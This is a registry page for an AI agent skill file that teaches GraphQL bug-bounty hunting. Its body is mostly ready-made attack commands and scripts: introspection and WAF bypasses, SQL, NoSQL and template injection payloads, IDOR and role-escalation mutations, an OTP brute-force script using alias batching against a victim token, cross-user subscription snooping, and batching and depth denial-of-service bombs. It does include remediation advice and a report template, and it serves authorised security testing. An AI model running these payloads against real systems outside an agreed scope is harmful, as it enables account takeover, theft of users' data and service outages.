graphql-audit
Skill5.5k starsChanged 5 months agoMITView on GitHub
GraphQL security hunting — introspection abuse, field suggestion enumeration (clairvoyance), batching DoS, IDOR via aliasing, auth bypass, injection via arguments, subscription abuse, depth/complexity bombs, and WAF bypass. Covers graphw00f fingerprinting, GraphQLmap, graphql-cop, and inql. Use when a target exposes a /graphql, /api/graphql, or GQL-over-HTTP endpoint.
- Installs packages
- Sends data out
3 other projects use a version of this, 1 of them edited.
Trending
More talk lately.thin dataabout the whole repository
Most recently taken up by
- shuvonsec/claude-bug-bountyword for word, first seen Oct 8, 2026
- zyphr-labs/bounty-harnessedited, first seen Aug 26, 2026
- awarexone/Agentic-Bug-Hunterword for word, first seen Jun 9, 2026
Who's talking about Awarexone/Agentic-Bug-Hunter
- vavkamil/awesome-bugbounty-tools“Add Agentic Bug Bounty Hunter to AI Agents”GitHub · Sep 2, 2026 · 2 reactions
- sudosubin/agents.nix“agent-skills.github.awarexone.agentic-bug-hunter: v6.0.0 → refs/tags/v6.0.0”GitHub · Oct 3, 2026
- djmahe4/cyber-tools-index“[WIP] Update tools_config.json with AI security tools from Medium list”GitHub · Oct 2, 2026
- sudosubin/agents.nix“agent-skills.github.awarexone.agentic-bug-hunter: init at 6.0.0”GitHub · Sep 25, 2026
- beyefendi/awesome-llm-security“Agentic Bug Hunter”GitHub · Sep 18, 2026
The biggest 5 of 11 mentions linking to the repository that our crawl found. Each line is their own headline.
See all 11
Talked about on GitHub (11 times).
On GitHub · 11
- Sep 2, 2026Add Agentic Bug Bounty Hunter to AI Agents — vavkamil/awesome-bugbounty-tools2 reactions
- Oct 3, 2026agent-skills.github.awarexone.agentic-bug-hunter: v6.0.0 → refs/tags/v6.0.0 — sudosubin/agents.nix0 reactions
- Oct 2, 2026[WIP] Update tools_config.json with AI security tools from Medium list — djmahe4/cyber-tools-index0 reactions
- Sep 25, 2026agent-skills.github.awarexone.agentic-bug-hunter: init at 6.0.0 — sudosubin/agents.nix0 reactions
- Sep 18, 2026Agentic Bug Hunter — beyefendi/awesome-llm-security0 reactions
6 more on GitHub
- Sep 6, 2026Enlaces rotos detectados en el README — YamilAyma/enlaces-para-desarrolladores0 reactions · 3 comments
- Sep 2, 2026Add Agentic Bug Bounty Hunter under Attack Surface — edoardottt/awesome-hacker-search-engines0 reactions · 1 comment
- Sep 2, 2026Add Related Projects section (Agentic Bug Bounty Hunter) — maurosoria/dirsearch0 reactions
- Sep 2, 2026Add Agentic Bug Bounty Hunter to GraphQL Injection tools — swisskyrepo/PayloadsAllTheThings0 reactions
- Sep 2, 2026Add Agentic Bug Bounty Hunter to Tools — nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters0 reactions
- Aug 30, 2026Enlaces rotos detectados en el README — YamilAyma/enlaces-para-desarrolladores0 reactions
Other versions3 projects use a version of this.
Word for word · 2
- shuvonsec/claude-bug-bounty★ 5.5k100% same
- awarexone/Agentic-Bug-Hunter★ 5.5k100% same
Edited · 1
- zyphr-labs/bounty-harness★ 132% same
Wrote their own version · 0
None found.
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository21 other files it gives its agents.
- AGENTS.mdAGENTS.md
- CLAUDE.mdCLAUDE.md
- bug-bountySkill
- agentic-app-auditSkill
- argusSkill
- bb-methodologySkill
- bug-bountySkill
- cicd-securitySkill
- client-reverseSkill
- cloud-pentestSkill
- credential-attackSkill
- llm-redteamSkill
- mcp-server-auditSkill
- meme-coin-auditSkill
- mobile-pentestSkill
- report-writingSkill
- security-arsenalSkill
- triage-validationSkill
- web2-reconSkill
- web2-vuln-classesSkill
- web3-auditSkill
The file
We split this skill into the rules it gives an agent
2 rules. About 0 are common, 1 is distinctive, and 1 is very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈1
Distinctive · estimate
This author's own choices. Worth a look.
1
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Very specific: line 97
When __schema is blocked, try:
- Distinctive: line 354
No query depth/complexity limits = DoS.
≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
GRAPHQL SECURITY AUDIT
GraphQL flips the threat model — clients drive queries. One endpoint, infinite attack surface. Introspection hands you the schema; even without it, field suggestions give you 80% back.
0. QUICK KILL CHECKLIST
[ ] Run graphql_audit.sh <endpoint> — full automated sweep
[ ] Check if introspection is enabled (__schema query)
[ ] If introspection off — run clairvoyance for field discovery
[ ] Fingerprint engine (graphw00f) — different engines, different CVEs
[ ] Test query batching — send 100 identical queries in one POST
[ ] Test alias bombing — 1000 aliases in one query
[ ] Check field suggestions on typos — leaks schema even when introspection off
[ ] Try IDOR: query another user's object by ID, no auth check
[ ] Test field-level auth: query privileged fields (admin, role, internalNote)
[ ] Inject SQLi/NoSQLi via string arguments — id, filter, search args
[ ] Check subscriptions: can you subscribe to other users' events?
[ ] Try introspection bypass: __schema\nquery, query batching, fragment tricks
[ ] Look for mutation rate limiting — account takeover / self-XSS via mutations1. TOOL — graphql_audit.sh
# Basic audit
bash bughunter/tools/graphql_audit.sh https://target.com/graphql
# With auth cookie
bash bughunter/tools/graphql_audit.sh https://target.com/api/graphql --cookie "session=abc123"
# With Authorization header
bash bughunter/tools/graphql_audit.sh https://target.com/graphql --header "Authorization: Bearer TOKEN"
# Through Burp proxy
bash bughunter/tools/graphql_audit.sh https://target.com/graphql --proxy http://127.0.0.1:8080
# Custom output directory
bash bughunter/tools/graphql_audit.sh https://target.com/graphql --output-dir ./findings/target/graphqlOutput: findings/<target>/graphql/<timestamp>/
introspection.json— full schema dump (if enabled)fingerprint.txt— engine type (graphw00f)field_suggestions.txt— discovered fields via clairvoyancebatching_dos.txt— response time delta for 1 vs 100 queriesalias_bomb.txt— alias depth test resultsinjection.txt— injection scan results (built-in SQLi probe)cop_report.txt— graphql-cop attack checklist resultssummary.txt— hit/miss per phase
2. INTROSPECTION — Schema Leak (Most Common First Step)
Check If Enabled
curl -s -X POST https://target.com/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"{ __schema { queryType { name } } }"}' | jq .Full Schema Dump
# Pull complete introspection schema (pipe to InQL or graphql-voyager)
curl -s -X POST https://target.com/graphql \
-H 'Content-Type: application/json' \
-d '{
"query": "query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }"
}' | jq . > schema.jsonWhat To Look For In The Schema
- Mutations involving user data: updateUser, deleteAccount, changeEmail, changePassword
- Queries returning other users' objects: user(id: X), order(id: X)
- Fields: internalNote, adminOnly, role, isAdmin, rawPassword, apiKey
- Types: AdminUser, InternalConfig, DebugInfo
- Deprecated fields — often bypassed auth or forgotten
- Subscription types — real-time data leaksIntrospection Bypass Techniques
When __schema is blocked, try:
# Newline injection (bypasses naive keyword filters)
{"query": "query {\n __schema\n { queryType { name } } }"}
# Fragment trick
{"query": "fragment f on __Schema { queryType { name } } { ...f }"}
# __type instead of __schema (often overlooked in blocklists)
{"query": "{ __type(name: \"User\") { fields { name type { name } } } }"}
# Via GET request (some servers allow GET, filter only POST)
GET /graphql?query={__schema{queryType{name}}}
# Over WebSocket (GraphQL subscriptions)
# Different code path — introspection may be unrestricted3. FIELD SUGGESTION ABUSE (Introspection Off — Still Works)
GraphQL engines return helpful "Did you mean X?" errors on typos. This leaks field names.
Manual Probe
# Typo on a known field to trigger suggestions
curl -s -X POST https://target.com/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"{ usr { id } }"}' | grep -i "suggest\|did you mean\|Cannot query"Clairvoyance (Automated — Recommended)
# Install
pip install clairvoyance
# Run field discovery against a known type
clairvoyance -u https://target.com/graphql -o schema.json
# With auth
clairvoyance -u https://target.com/graphql \
-H "Authorization: Bearer TOKEN" \
-o schema.json
# Seed with known type names (speeds up discovery significantly)
clairvoyance -u https://target.com/graphql \
--input-document schema_partial.json \
-o schema_full.jsonWhat clairvoyance recovers: type names, field names, argument names — ~80% of introspection output even when blocked.
4. BATCHING DoS (High Payout, Easy to Prove)
GraphQL allows sending multiple operations in one POST. No rate limit = DoS or brute-force amplifier.
Array Batching (Most Common)
# 100 queries in one request — measure response time delta
python3 -c "
import json, sys
q = {'query': '{ __typename }'}
print(json.dumps([q] * 100))
" | curl -s -X POST https://target.com/graphql \
-H 'Content-Type: application/json' \
-d @- -w '\nTime: %{time_total}s\n'Alias Batching (Bypasses per-query limits)
# 500 aliases — each alias is a separate resolver call
python3 -c "
aliases = ' '.join(f'q{i}: __typename' for i in range(500))
print('{\"query\": \"{ ' + aliases + ' }\"}')
" | curl -s -X POST https://target.com/graphql \
-H 'Content-Type: application/json' \
-d @-Impact Escalation
- Brute force amplifier: 100 login mutations per HTTP request → bypasses per-IP lockout
- OTP bypass: 1000 alias queries testing OTP codes in one request
- Password reset bombing: 100 resetPassword mutations, each with a different email
# OTP brute force via alias batching — chain with account takeover
python3 -c "
import json
mutations = []
for code in range(1000, 2000):
mutations.append(f'v{code}: verifyOTP(code: \"{code}\", token: \"VICTIM_TOKEN\") {{ success }}')
query = '{ ' + ' '.join(mutations) + ' }'
print(json.dumps({'query': query}))
" | curl -s -X POST https://target.com/graphql \
-H 'Content-Type: application/json' \
-d @-5. IDOR VIA DIRECT OBJECT ACCESS
GraphQL queries often accept IDs directly. Test whether the server enforces ownership.
Basic IDOR Probe
# Logged in as user A (id=1) — query user B's data
curl -s -X POST https://target.com/graphql \
-H 'Content-Type: application/json' \
-H 'Cookie: session=USER_A_COOKIE' \
-d '{"query":"{ user(id: 2) { email phone address paymentMethods { last4 } } }"}'
# Try orders, messages, invoices, appointments
curl -s -X POST https://target.com/graphql \
-H 'Content-Type: application/json' \
-H 'Cookie: session=USER_A_COOKIE' \
-d '{"query":"{ order(id: 999) { total items { name } user { email } } }"}'Field-Level IDOR (Privileged Fields on Accessible Objects)
# Object is yours — but are ALL fields yours to read?
curl -s -X POST https://target.com/graphql \
-d '{"query":"{ me { id email role isAdmin internalNote rawApiKey } }"}'
# Test privileged mutations on other users
curl -s -X POST https://target.com/graphql \
-d '{"query":"mutation { updateUser(id: 2, role: \"admin\") { success } }"}'Enumeration via Aliases
# Enumerate 50 user IDs in one request
python3 -c "
import json
aliases = [f'u{i}: user(id: {i}) {{ id email role }}' for i in range(1, 51)]
print(json.dumps({'query': '{ ' + ' '.join(aliases) + ' }'}))
" | curl -s -X POST https://target.com/graphql \
-H 'Content-Type: application/json' \
-d @-6. INJECTION VIA ARGUMENTS
GraphQL arguments pass directly to resolvers. Resolvers often pass them to SQL/NoSQL queries without sanitization.
SQL Injection
# Classic SQLi probe via search/filter args
curl -s -X POST https://target.com/graphql \
-d '{"query":"{ users(search: \"admin'\''--\") { id email } }"}'
# Time-based blind SQLi
curl -s -X POST https://target.com/graphql \
-d '{"query":"{ users(id: \"1 AND SLEEP(5)--\") { email } }"}'
# GraphQLmap — interactive REPL, drive it by hand (no batch mode).
# NB: the tool formerly listed here as "gqlmap" never existed; its upstream
# is a dead repo and the PyPI name is a third-party placeholder.
graphqlmap -u https://target.com/graphql --method POST \
--headers '{"Authorization":"Bearer <token>"}'
# then at the "GraphQLmap >" prompt: dump_new, or a query with a SQLi payloadNoSQL Injection (MongoDB common in GraphQL backends)
# MongoDB operator injection via JSON coercion
curl -s -X POST https://target.com/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"{ login(username: {\"$gt\": \"\"}, password: {\"$gt\": \"\"}) { token } }"}'
# Regex bypass
curl -s -X POST https://target.com/graphql \
-d '{"query":"{ users(filter: {email: {\"$regex\": \".*\"}}) { id email } }"}'SSTI via Template-Rendered Fields
# If description/bio fields render in templates
curl -s -X POST https://target.com/graphql \
-d '{"query":"mutation { updateProfile(bio: \"{{7*7}}\") { bio } }"}'7. AUTHORIZATION BYPASS PATTERNS
Unauthenticated Queries
# Try sensitive queries without any auth token
curl -s -X POST https://target.com/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"{ users { id email role } }"}'
# Try mutations without auth
curl -s -X POST https://target.com/graphql \
-d '{"query":"mutation { createAdmin(email: \"test@example.com\", password: \"pass\") { id } }"}'Horizontal → Vertical Privilege Escalation
# Step 1: Find role mutation in schema
# Step 2: Call it as a regular user
curl -s -X POST https://target.com/graphql \
-H 'Cookie: session=NORMAL_USER' \
-d '{"query":"mutation { updateUserRole(userId: ME_ID, role: \"ADMIN\") { success } }"}'Deprecated Field Auth Bypass
# Deprecated fields are often forgotten — auth checks removed or loosened
curl -s -X POST https://target.com/graphql \
-d '{"query":"{ userProfile(id: 2) { legacyToken adminFlags } }"}'8. SUBSCRIPTION ABUSE
WebSocket-based subscriptions can leak cross-user events if not scoped per-user.
# Subscribe to another user's events (Burp WebSocket tab or wscat)
# First: capture legitimate subscription query in Burp
# Then: change userId to victim's ID
wscat -c wss://target.com/graphql \
-s 'graphql-ws' \
--execute '{"type":"start","id":"1","payload":{"query":"subscription { orderUpdated(userId: VICTIM_ID) { status total } }"}}'
# Check if subscription delivers events for ALL users (no scoping)
# Critical if: payment status, message content, location updates9. DEPTH / COMPLEXITY BOMBS
No query depth/complexity limits = DoS.
# Circular reference bomb (if schema has circular types)
# e.g. User -> friends -> User -> friends -> ...
python3 -c "
depth = 20
inner = 'id email'
for _ in range(depth):
inner = f'friends {{ id {inner} }}'
print('{\"query\": \"{ me { ' + inner + ' } }\"}')
" | curl -s -X POST https://target.com/graphql \
-H 'Content-Type: application/json' \
-d @- -w '\nTime: %{time_total}s\n'
# If response time grows linearly — report as DoS10. FINGERPRINTING & CVE HUNTING (graphw00f)
Different GraphQL engines have different CVEs. Fingerprint first.
# Install — NOT `pip install graphw00f`: that PyPI name is a third-party
# placeholder, not this tool. Install from source.
git clone https://github.com/dolevf/graphw00f && cd graphw00f && pip install -r requirements.txt
# Fingerprint
python3 -m graphw00f.main -d -t https://target.com/graphql
# Common engines and their known issues:
# Hasura — auth bypass, remote schema injection
# Apollo — query depth issues in old versions
# GraphQL-Go — various older CVEs
# Graphene — Python injection risk in custom resolvers
# Hot Chocolate — .NET, watch for SSRF in federation
# WPGraphQL — WordPress + GraphQL = lots of IDOR11. graphql-cop — Automated Attack Checklist
# Install — NOT `pip install graphql-cop`: that name is UNCLAIMED on PyPI,
# so a `pip install` hands execution to whoever registers it. Install from source.
git clone https://github.com/dolevf/graphql-cop && cd graphql-cop && pip install -r requirements.txt
# Run all checks
graphql-cop -t https://target.com/graphql
# With auth
graphql-cop -t https://target.com/graphql \
-H "Authorization: Bearer TOKEN"
# Checks performed:
# - Introspection enabled
# - Field suggestions enabled
# - GET method supported
# - Query batching enabled
# - Alias overloading
# - Directive overloading
# - Deep recursion allowed
# - Character limit missing
# - Mutation introspection12. WAF BYPASS FOR GRAPHQL
# Content-type switching (some WAFs only filter application/json)
curl -s -X POST https://target.com/graphql \
-H 'Content-Type: application/graphql' \
-d '{ __schema { queryType { name } } }'
# GET introspection (WAF may only block POST)
curl -s "https://target.com/graphql?query=%7B__schema%7BqueryType%7Bname%7D%7D%7D"
# Comment injection to break keyword matching
curl -s -X POST https://target.com/graphql \
-d '{"query":"{ __sch#comment\nema { queryType { name } } }"}'
# Fragment-based introspection
curl -s -X POST https://target.com/graphql \
-d '{"query":"fragment s on __Schema { queryType { name } } query { ...s }"}'13. CHAINING FINDINGS
| Chain | Severity |
| Introspection → find admin mutations → call without auth | Critical |
| Batching → OTP brute force → account takeover | Critical |
| Field suggestions → discover hidden field → IDOR | High |
| Alias bomb → bypass rate limit → credential stuffing | High |
| Unauthenticated subscription → real-time PII leak | High |
| Depth bomb → no query limits → DoS | Medium |
| Deprecated field → PII exposure | Medium |
14. REPORT TEMPLATE
Title: GraphQL [VULN TYPE] — [Impact One-liner]
Example titles:
- "GraphQL Introspection Enabled — Full Schema Disclosure on api.target.com"
- "GraphQL Batching Allows OTP Brute Force — Account Takeover via Alias Bombing"
- "GraphQL IDOR via Direct Object Queries — Access Any User's Private Data"
Endpoint: POST https://target.com/graphql
Request:
[paste raw curl or HTTP request]
Response:
[paste relevant portion of response]
Impact:
[what an attacker can actually do RIGHT NOW — no hypotheticals]
Steps to Reproduce:
1. [exact curl or Burp Repeater step]
2. [observe the response]
3. [confirm impact]
CVSS (approximate):
- Introspection only: CVSS 5.3 (Medium) — info disclosure
- IDOR cross-user: CVSS 7.5-8.5 (High)
- Batching ATO chain: CVSS 9.0+ (Critical)
- Unauthenticated mutation: CVSS 9.8 (Critical)
Remediation:
- Disable introspection in production (allow only in dev environments)
- Enforce per-query depth limit (recommend <= 10)
- Enforce complexity limits
- Disable query batching or add per-batch rate limits
- Validate object ownership in every resolver (not just at route level)
- Remove field suggestions in productionKILL SIGNALS — Walk Away
- Endpoint returns 404/410 consistently — not active
- All queries return generic "Unauthorized" with no suggestions — well-hardened
- Rate limit fires on query 2 — strong protection, low ROI
- Only __typename accessible, no types — schema fully locked down
- Engine is Apollo Federation gateway only — attack the downstream services insteadTOOLS REFERENCE
| Tool | Purpose | Install |
graphql_audit.sh | Automated multi-phase sweep | this repo |
graphw00f | Engine fingerprinting | git clone https://github.com/dolevf/graphw00f — PyPI name is a third-party placeholder, not the tool |
clairvoyance | Field discovery (no introspection) | pipx install clairvoyance — genuine, published by upstream |
graphql-cop | Attack checklist runner | git clone https://github.com/dolevf/graphql-cop — UNCLAIMED on PyPI, do not pip install |
GraphQLmap | SQL/NoSQL injection (interactive REPL) | pipx install git+https://github.com/swisskyrepo/GraphQLmap.git |
inql | Burp Suite extension — schema + IDOR | Burp BApp Store |
graphql-voyager | Visual schema explorer | browser tool |
wscat | WebSocket subscription testing | npm i -g wscat |
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

